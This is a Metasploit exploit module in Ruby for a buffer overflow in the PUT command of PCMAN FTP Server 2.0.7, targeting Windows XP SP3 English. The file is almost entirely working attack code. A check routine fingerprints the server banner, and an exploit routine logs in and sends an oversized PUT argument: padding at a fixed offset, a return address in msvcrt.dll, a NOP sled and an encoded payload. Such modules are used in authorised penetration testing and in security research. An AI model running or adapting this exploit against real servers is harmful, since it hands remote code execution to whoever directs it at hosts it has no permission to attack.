81 lines
1.9 KiB
Ruby
81 lines
1.9 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::Ftp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'PCMAN FTP Server Buffer Overflow - PUT Command',
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'Description' => %q{
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This module exploits a buffer overflow vulnerability found in the PUT command of the
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PCMAN FTP v2.0.7 Server. This requires authentication but by default anonymous
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credientials are enabled.
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},
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'Author' =>
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[
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'Jay Turla', # Initial Discovery -- @shipcod3
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'Chris Higgins' # msf Module -- @ch1gg1ns
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'EDB', '37731'],
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[ 'OSVDB', '94624']
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process'
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},
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'Payload' =>
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{
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'Space' => 1000,
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'BadChars' => "\x00\x0A\x0D",
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows XP SP3 English',
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{
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'Ret' => 0x77c35459, # push esp ret C:\WINDOWS\system32\msvcrt.dll
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'Offset' => 2007
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}
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],
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],
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'DisclosureDate' => 'Aug 07 2015',
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'DefaultTarget' => 0))
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end
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def check
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connect_login
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disconnect
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if /220 PCMan's FTP Server 2\.0/ === banner
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Exploit::CheckCode::Appears
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else
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Exploit::CheckCode::Safe
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end
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end
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def exploit
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connect_login
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print_status('Generating payload...')
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sploit = rand_text_alpha(target['Offset'])
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sploit << [target.ret].pack('V')
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sploit << make_nops(16)
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sploit << payload.encoded
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send_cmd( ["PUT", sploit], false )
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disconnect
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end
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end
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